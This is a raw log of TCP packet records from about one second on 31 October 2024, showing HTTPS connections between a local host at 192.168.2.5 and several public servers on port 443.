Oct 31, 2024 01:18:44.362306118 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.362319946 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.362330914 CET	49885	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.362337112 CET	443	49885	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.365559101 CET	49901	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.365576029 CET	443	49901	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.365674973 CET	49901	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.365858078 CET	49901	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.365875006 CET	443	49901	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.395987034 CET	49886	443	192.168.2.5	152.195.19.97
Oct 31, 2024 01:18:44.396018028 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.401269913 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.402466059 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.402473927 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.402493954 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.402501106 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.402532101 CET	49886	443	192.168.2.5	152.195.19.97
Oct 31, 2024 01:18:44.402540922 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.402553082 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.402574062 CET	49886	443	192.168.2.5	152.195.19.97
Oct 31, 2024 01:18:44.402599096 CET	49886	443	192.168.2.5	152.195.19.97
Oct 31, 2024 01:18:44.408915043 CET	49886	443	192.168.2.5	152.195.19.97
Oct 31, 2024 01:18:44.408927917 CET	443	49886	152.195.19.97	192.168.2.5
Oct 31, 2024 01:18:44.443459988 CET	443	49890	52.153.155.231	192.168.2.5
Oct 31, 2024 01:18:44.443888903 CET	49890	443	192.168.2.5	52.153.155.231
Oct 31, 2024 01:18:44.443897963 CET	443	49890	52.153.155.231	192.168.2.5
Oct 31, 2024 01:18:44.444545984 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.444578886 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.444770098 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.444804907 CET	443	49890	52.153.155.231	192.168.2.5
Oct 31, 2024 01:18:44.445059061 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.445074081 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.445975065 CET	49890	443	192.168.2.5	52.153.155.231
Oct 31, 2024 01:18:44.446062088 CET	443	49890	52.153.155.231	192.168.2.5
Oct 31, 2024 01:18:44.446463108 CET	49890	443	192.168.2.5	52.153.155.231
Oct 31, 2024 01:18:44.452631950 CET	443	49895	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.452923059 CET	49895	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:44.452945948 CET	443	49895	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.453272104 CET	443	49895	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.454293013 CET	49895	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:44.454356909 CET	443	49895	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.460191965 CET	443	49894	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.460513115 CET	49894	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:44.460546970 CET	443	49894	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.460973978 CET	443	49894	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.461383104 CET	49894	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:44.461466074 CET	443	49894	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.464437962 CET	443	49896	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.464660883 CET	49896	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:44.464669943 CET	443	49896	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.465593100 CET	443	49896	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.465656996 CET	49896	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:44.465997934 CET	49896	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:44.466056108 CET	443	49896	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.470298052 CET	443	49892	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.470326900 CET	443	49892	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.470360994 CET	443	49892	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.470375061 CET	49892	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.470415115 CET	49892	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.473314047 CET	49892	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.473341942 CET	443	49892	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.473357916 CET	49892	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.473365068 CET	443	49892	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.478060007 CET	49903	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.478095055 CET	443	49903	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.478182077 CET	49903	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.478741884 CET	49903	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:44.478756905 CET	443	49903	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:44.480130911 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.480386972 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.480410099 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.480782986 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.480844021 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.481472015 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.481523037 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.482471943 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.482530117 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.482712030 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.482718945 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.482734919 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.487365961 CET	443	49890	52.153.155.231	192.168.2.5
Oct 31, 2024 01:18:44.504954100 CET	49894	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:44.527332067 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.590073109 CET	49895	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:44.605267048 CET	49896	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:44.605281115 CET	443	49896	23.221.22.166	192.168.2.5
Oct 31, 2024 01:18:44.605294943 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.689280987 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.689304113 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.689312935 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.689342976 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.689359903 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.689368963 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.689395905 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.689425945 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.689443111 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.689471006 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.690872908 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.690881014 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.690898895 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.690968037 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.690979958 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.691025972 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.691124916 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.781886101 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.781909943 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.781918049 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.781941891 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.781955004 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.781960964 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.781964064 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.781974077 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.781996965 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.782017946 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.783886909 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.783895969 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.783910990 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.783917904 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.783953905 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.783962011 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.783972979 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.802439928 CET	49896	443	192.168.2.5	23.221.22.166
Oct 31, 2024 01:18:44.808516026 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.808540106 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.808625937 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.808648109 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.808703899 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.809614897 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.809632063 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.809710979 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.809717894 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.809948921 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.810318947 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.810373068 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.810379982 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.810391903 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.810447931 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.811511040 CET	49891	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:44.811530113 CET	443	49891	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:44.876130104 CET	49905	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:44.876149893 CET	443	49905	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:44.876236916 CET	49905	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:44.877919912 CET	49905	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:44.877932072 CET	443	49905	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:44.899228096 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.899249077 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.899277925 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.899377108 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.899377108 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.899388075 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.900171041 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.900178909 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.900203943 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.900212049 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.900218010 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.900243044 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.900247097 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.900254011 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.900293112 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.902026892 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.902034044 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.902057886 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.902065992 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.902084112 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.902087927 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.902143955 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.957123995 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.957166910 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.957185984 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.957197905 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.957210064 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.957220078 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.957273006 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.974577904 CET	443	49897	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.975085020 CET	49897	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.975100994 CET	443	49897	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.975439072 CET	443	49897	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.975497961 CET	49897	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.976119041 CET	443	49897	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.976172924 CET	49897	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.976412058 CET	49897	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.976471901 CET	443	49897	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.976644039 CET	49897	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:44.976651907 CET	443	49897	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:44.976667881 CET	49897	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.017050028 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.017059088 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.017088890 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.017095089 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.017132044 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.017136097 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.017194986 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.017462015 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.017471075 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.017493010 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.017515898 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.017518997 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.017524958 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.017544985 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.017570019 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.018223047 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.018241882 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.018315077 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.018321037 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.019567966 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.019588947 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.019618034 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.019623995 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.019671917 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.020457983 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.020498037 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.020529032 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.020534039 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.020586014 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.021521091 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.021573067 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.021589041 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.021595001 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.021622896 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.023330927 CET	443	49897	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.044224024 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.052244902 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.085992098 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.086622000 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.086642027 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.087125063 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.087130070 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.087361097 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.087388992 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.087713003 CET	49898	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.087719917 CET	443	49898	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.087939024 CET	49900	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.087958097 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.088268042 CET	49900	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.088274956 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.097687960 CET	49897	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.097997904 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.115909100 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.115919113 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.115951061 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.115988970 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.115998983 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.116005898 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.116058111 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.134236097 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.134243965 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.134263992 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.134294987 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.134299040 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.134349108 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.134968042 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.134987116 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.135040998 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.135046005 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.135107994 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.135621071 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.135637045 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.135696888 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.135724068 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.135727882 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.135782003 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.141419888 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.141446114 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.141498089 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.141501904 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.141546011 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.142011881 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.142025948 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.142085075 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.142091036 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.142141104 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.142640114 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.142654896 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.142707109 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.142716885 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.142756939 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.143212080 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.143228054 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.143289089 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.143299103 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.143338919 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.143652916 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.143672943 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.143726110 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.143731117 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.143942118 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.144090891 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.144105911 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.144159079 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.144165993 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.144251108 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.144752979 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.144768000 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.144817114 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.144824028 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.144851923 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.145129919 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.145144939 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.145181894 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.145188093 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.145212889 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.145227909 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.145976067 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.145992994 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.146044016 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.146053076 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.146091938 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.149624109 CET	443	49897	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.163639069 CET	443	49901	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.174853086 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:45.174876928 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:45.174895048 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:45.174954891 CET	49865	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:45.174969912 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:45.175038099 CET	49865	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:45.175038099 CET	49865	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:45.182379961 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:45.182420969 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:45.182440042 CET	49865	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:45.182483912 CET	49865	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:45.188083887 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.188637972 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.190567017 CET	49901	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.190586090 CET	443	49901	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.191147089 CET	49901	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:45.191152096 CET	443	49901	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:45.191478968 CET	443	49897	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.191586018 CET	49897	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.191921949 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.191940069 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.192008972 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.192023039 CET	443	49893	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:45.192075014 CET	49893	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.192965031 CET	49865	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:45.192980051 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:45.193535089 CET	49902	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:45.193553925 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.193849087 CET	443	49902	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:45.196012020 CET	49897	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:45.196033001 CET	443	49897	104.40.82.182	192.168.2.5
